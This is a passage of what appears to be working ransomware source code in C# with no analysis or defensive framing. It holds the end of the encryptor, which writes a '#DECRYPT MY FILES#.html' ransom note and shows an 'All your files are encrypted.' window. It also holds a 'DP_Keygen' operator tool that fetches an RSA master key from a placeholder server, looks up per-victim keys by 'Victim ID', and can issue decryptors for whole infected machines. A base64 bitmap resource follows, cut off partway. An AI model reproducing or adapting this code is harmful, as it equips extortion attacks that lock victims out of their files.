1289 | for (int j = 0; j < 117; j++)
1290 | {
1291 | middle[j] = file[k];
1292 | k = k + 1;
1293 | }
1294 | byteFile.Add(middle);
1295 | }
1296 | return byteFile;
1297 | }
1298 | catch (Exception ex)
1299 | {
1300 | return null;
1301 | }
1302 |
1303 | }
1304 |
1305 | private static void DropDecriptionText(string dir)
1306 | {
1307 | try
1308 | {
1309 | File.WriteAllText(dir.Replace("\\", "/") + "/#DECRYPT MY FILES#.html", text);
1310 | }
1311 | catch (Exception ex)
1312 | {
1313 |
1314 | }
1315 | }
1316 | }
1317 | }
1318 | namespace DP_MainForm
1319 | {
1320 | partial class Form1
1321 | {
1322 | /// <summary>
1323 | /// Требуется переменная конструктора.
1324 | /// </summary>
1325 | private System.ComponentModel.IContainer components = null;
1326 |
1327 | /// <summary>
1328 | /// Освободить все используемые ресурсы.
1329 | /// </summary>
1330 | /// <param name="disposing">истинно, если управляемый ресурс должен быть удален; иначе ложно.</param>
1331 | protected override void Dispose(bool disposing)
1332 | {
1333 | if (disposing && (components != null))
1334 | {
1335 | components.Dispose();
1336 | }
1337 | base.Dispose(disposing);
1338 | }
1339 |
1340 | #region Код, автоматически созданный конструктором форм Windows
1341 |
1342 | /// <summary>
1343 | /// Обязательный метод для поддержки конструктора - не изменяйте
1344 | /// содержимое данного метода при помощи редактора кода.
1345 | /// </summary>
1346 | private void InitializeComponent()
1347 | {
1348 | this.SuspendLayout();
1349 | //
1350 | // Form1
1351 | //
1352 | this.AutoScaleDimensions = new System.Drawing.SizeF(12F, 24F);
1353 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
1354 | this.ClientSize = new System.Drawing.Size(325, 207);
1355 | this.Font = new System.Drawing.Font("Modern No. 20", 15.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
1356 | this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None;
1357 | this.Margin = new System.Windows.Forms.Padding(6);
1358 | this.MaximizeBox = false;
1359 | this.MinimizeBox = false;
1360 | this.Name = "Form1";
1361 | this.ShowIcon = false;
1362 | this.Text = "All your files are encrypted.";
1363 | this.Load += new System.EventHandler(this.Form1_Load);
1364 | this.MouseDown += new System.Windows.Forms.MouseEventHandler(this.Form1_MouseDown);
1365 | this.ResumeLayout(false);
1366 |
1367 | }
1368 |
1369 | #endregion
1370 |
1371 | }
1372 | }
1373 |
1374 |
1375 | using System;
1376 | using System.Collections.Generic;
1377 | using System.Collections.Specialized;
1378 | using System.IO;
1379 | using System.Net;
1380 | using System.Security.Cryptography;
1381 | using System.Text;
1382 | using System.Windows.Forms;
1383 |
1384 | namespace DP_Keygen
1385 | {
1386 | public partial class Form1 : Form
1387 | {
1388 | public Form1()
1389 | {
1390 | InitializeComponent();
1391 | }
1392 |
1393 | private string MasterKey = "";
1394 |
1395 | private string server = "%SERVER%";
1396 | private string vector = "%VECTOR%";
1397 | private string email = "%EMAIL%";
1398 |
1399 | private void Form1_Load(object sender, EventArgs e)
1400 | {
1401 | if (File.Exists("ExtraKey.dp")) MasterKey = File.ReadAllText("ExtraKey.dp");
1402 | else GetMaster();
1403 | }
1404 |
1405 | private void GetMaster()
1406 | {
1407 | string url = server + "/api/Master.php";
1408 | using (var webClient = new WebClient())
1409 | {
1410 | var pars = new NameValueCollection();
1411 | pars.Add("vector", vector);
1412 | pars.Add("email", email);
1413 | var response = webClient.UploadValues(url, pars);
1414 | string str = System.Text.Encoding.UTF8.GetString(response);
1415 | if (str == "I fucked your mom") Application.Exit();
1416 | MasterKey = Encoding.Default.GetString(Convert.FromBase64String(str));
1417 | }
1418 | }
1419 |
1420 | private void decryptBtn_Click(object sender, EventArgs e)
1421 | {
1422 | try
1423 | {
1424 | string EText = keyTB.Text.Split('\n')[0].Trim();
1425 | string DText = DecryptKey(EText);
1426 | if (allPC.Checked)
1427 | {
1428 | DText = DText.Substring(0, 4) + "t" + DText.Substring(4, DText.Length - 4);
1429 | AllPCDecrypted();
1430 | }
1431 | resultTB.Text = DText;
1432 | }
1433 | catch (Exception ex)
1434 | {
1435 | MessageBox.Show(ex.ToString(), "An error has occurred");
1436 | }
1437 |
1438 | }
1439 |
1440 | private string DecryptKey(string DecryptionInfo)
1441 | {
1442 | byte[] privateBytes = Convert.FromBase64String(DecryptionInfo);
1443 | int iterations = Convert.ToInt32(Math.Ceiling((double)privateBytes.Length / 128));
1444 | List<byte[]> priv = new List<byte[]>();
1445 | int k = 0;
1446 | for (int i = 0; i < iterations; i++)
1447 | {
1448 | byte[] b = new byte[128];
1449 | for (int j = 0; j < 128; j++)
1450 | {
1451 | if (privateBytes.Length > k)
1452 | {
1453 | b[j] = privateBytes[k];
1454 | k++;
1455 | }
1456 | }
1457 | priv.Add(b);
1458 | }
1459 | string str = "";
1460 | RSACryptoServiceProvider MasterRSA = new RSACryptoServiceProvider();
1461 | MasterRSA.FromXmlString(MasterKey);
1462 | foreach (byte[] bts in priv)
1463 | {
1464 | str += Encoding.Default.GetString(MasterRSA.Decrypt(bts, false));
1465 | }
1466 | return Convert.ToBase64String(Encoding.Default.GetBytes(str));
1467 | }
1468 |
1469 | private void victimTB_Click(object sender, EventArgs e)
1470 | {
1471 | victimTB.Text = "";
1472 | }
1473 |
1474 | private void decryptBtn2_Click(object sender, EventArgs e)
1475 | {
1476 | string url = server + "/api/GetEncryptionInfo.php";
1477 | using (var webClient = new WebClient())
1478 | {
1479 | var pars = new NameValueCollection();
1480 | pars.Add("v", vector);
1481 | pars.Add("id", victimTB.Text);
1482 | var response = webClient.UploadValues(url, pars);
1483 | string str = System.Text.Encoding.UTF8.GetString(response);
1484 | if (str == "I fucked your mom") MessageBox.Show("Decryption key has no found.");
1485 | else
1486 | {
1487 | string DText = DecryptKey(str);
1488 | resultTB.Text = DText;
1489 | }
1490 | }
1491 | }
1492 |
1493 | private void AllPCDecrypted()
1494 | {
1495 | try
1496 | {
1497 | string url = server + "/api/CreateDecryption.php";
1498 | using (var webClient = new WebClient())
1499 | {
1500 | var pars = new NameValueCollection();
1501 | pars.Add("vector", vector);
1502 | var response = webClient.UploadValues(url, pars);
1503 | string str = System.Text.Encoding.UTF8.GetString(response);
1504 | MessageBox.Show(str);
1505 | }
1506 | }
1507 | catch (Exception)
1508 | {
1509 |
1510 | }
1511 | }
1512 | }
1513 | }
1514 | namespace DP_Keygen
1515 | {
1516 | static class Program
1517 | {
1518 | /// <summary>
1519 | /// Главная точка входа для приложения.
1520 | /// </summary>
1521 | [STAThread]
1522 | static void Main()
1523 | {
1524 | Application.EnableVisualStyles();
1525 | Application.SetCompatibleTextRenderingDefault(false);
1526 | Application.Run(new Form1());
1527 | }
1528 | }
1529 | }
1530 | namespace DP_Keygen
1531 | {
1532 | partial class Form1
1533 | {
1534 | /// <summary>
1535 | /// Требуется переменная конструктора.
1536 | /// </summary>
1537 | private System.ComponentModel.IContainer components = null;
1538 |
1539 | /// <summary>
1540 | /// Освободить все используемые ресурсы.
1541 | /// </summary>
1542 | /// <param name="disposing">истинно, если управляемый ресурс должен быть удален; иначе ложно.</param>
1543 | protected override void Dispose(bool disposing)
1544 | {
1545 | if (disposing && (components != null))
1546 | {
1547 | components.Dispose();
1548 | }
1549 | base.Dispose(disposing);
1550 | }
1551 |
1552 | #region Код, автоматически созданный конструктором форм Windows
1553 |
1554 | /// <summary>
1555 | /// Обязательный метод для поддержки конструктора - не изменяйте
1556 | /// содержимое данного метода при помощи редактора кода.
1557 | /// </summary>
1558 | private void InitializeComponent()
1559 | {
1560 | this.decryptBtn = new System.Windows.Forms.Button();
1561 | this.label1 = new System.Windows.Forms.Label();
1562 | this.victimTB = new System.Windows.Forms.TextBox();
1563 | this.decryptBtn2 = new System.Windows.Forms.Button();
1564 | this.allPC = new System.Windows.Forms.CheckBox();
1565 | this.resultTB = new System.Windows.Forms.TextBox();
1566 | this.keyTB = new System.Windows.Forms.TextBox();
1567 | this.SuspendLayout();
1568 | //
1569 | // decryptBtn
1570 | //
1571 | this.decryptBtn.Location = new System.Drawing.Point(119, 204);
1572 | this.decryptBtn.Name = "decryptBtn";
1573 | this.decryptBtn.Size = new System.Drawing.Size(302, 23);
1574 | this.decryptBtn.TabIndex = 0;
1575 | this.decryptBtn.Text = "Create decryption via textbox";
1576 | this.decryptBtn.UseVisualStyleBackColor = true;
1577 | this.decryptBtn.Click += new System.EventHandler(this.decryptBtn_Click);
1578 | //
1579 | // label1
1580 | //
1581 | this.label1.AutoSize = true;
1582 | this.label1.Location = new System.Drawing.Point(256, 228);
1583 | this.label1.Name = "label1";
1584 | this.label1.Size = new System.Drawing.Size(27, 13);
1585 | this.label1.TabIndex = 1;
1586 | this.label1.Text = "Or...";
1587 | //
1588 | // victimTB
1589 | //
1590 | this.victimTB.Location = new System.Drawing.Point(119, 244);
1591 | this.victimTB.Name = "victimTB";
1592 | this.victimTB.Size = new System.Drawing.Size(100, 20);
1593 | this.victimTB.TabIndex = 2;
1594 | this.victimTB.Text = "Victim ID";
1595 | this.victimTB.TextAlign = System.Windows.Forms.HorizontalAlignment.Center;
1596 | this.victimTB.Click += new System.EventHandler(this.victimTB_Click);
1597 | //
1598 | // decryptBtn2
1599 | //
1600 | this.decryptBtn2.Location = new System.Drawing.Point(223, 242);
1601 | this.decryptBtn2.Name = "decryptBtn2";
1602 | this.decryptBtn2.Size = new System.Drawing.Size(196, 23);
1603 | this.decryptBtn2.TabIndex = 3;
1604 | this.decryptBtn2.Text = "Create decryption file via server info";
1605 | this.decryptBtn2.UseVisualStyleBackColor = true;
1606 | this.decryptBtn2.Click += new System.EventHandler(this.decryptBtn2_Click);
1607 | //
1608 | // allPC
1609 | //
1610 | this.allPC.AutoSize = true;
1611 | this.allPC.Cursor = System.Windows.Forms.Cursors.Hand;
1612 | this.allPC.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(204)));
1613 | this.allPC.Location = new System.Drawing.Point(180, 5);
1614 | this.allPC.Name = "allPC";
1615 | this.allPC.Size = new System.Drawing.Size(189, 17);
1616 | this.allPC.TabIndex = 4;
1617 | this.allPC.Text = "FILE FOR DECRYPT ALL PC";
1618 | this.allPC.UseVisualStyleBackColor = true;
1619 | //
1620 | // resultTB
1621 | //
1622 | this.resultTB.Location = new System.Drawing.Point(2, 268);
1623 | this.resultTB.Multiline = true;
1624 | this.resultTB.Name = "resultTB";
1625 | this.resultTB.Size = new System.Drawing.Size(536, 175);
1626 | this.resultTB.TabIndex = 5;
1627 | //
1628 | // keyTB
1629 | //
1630 | this.keyTB.Location = new System.Drawing.Point(2, 22);
1631 | this.keyTB.Multiline = true;
1632 | this.keyTB.Name = "keyTB";
1633 | this.keyTB.Size = new System.Drawing.Size(536, 175);
1634 | this.keyTB.TabIndex = 6;
1635 | //
1636 | // Form1
1637 | //
1638 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
1639 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
1640 | this.ClientSize = new System.Drawing.Size(541, 446);
1641 | this.Controls.Add(this.keyTB);
1642 | this.Controls.Add(this.resultTB);
1643 | this.Controls.Add(this.allPC);
1644 | this.Controls.Add(this.decryptBtn2);
1645 | this.Controls.Add(this.victimTB);
1646 | this.Controls.Add(this.label1);
1647 | this.Controls.Add(this.decryptBtn);
1648 | this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle;
1649 | this.MaximizeBox = false;
1650 | this.Name = "Form1";
1651 | this.Text = "DP_Keygen";
1652 | this.Load += new System.EventHandler(this.Form1_Load);
1653 | this.ResumeLayout(false);
1654 | this.PerformLayout();
1655 |
1656 | }
1657 |
1658 | #endregion
1659 |
1660 | private System.Windows.Forms.Button decryptBtn;
1661 | private System.Windows.Forms.Label label1;
1662 | private System.Windows.Forms.TextBox victimTB;
1663 | private System.Windows.Forms.Button decryptBtn2;
1664 | private System.Windows.Forms.CheckBox allPC;
1665 | private System.Windows.Forms.TextBox resultTB;
1666 | private System.Windows.Forms.TextBox keyTB;
1667 | }
1668 | }
1669 |
1670 |
1671 | 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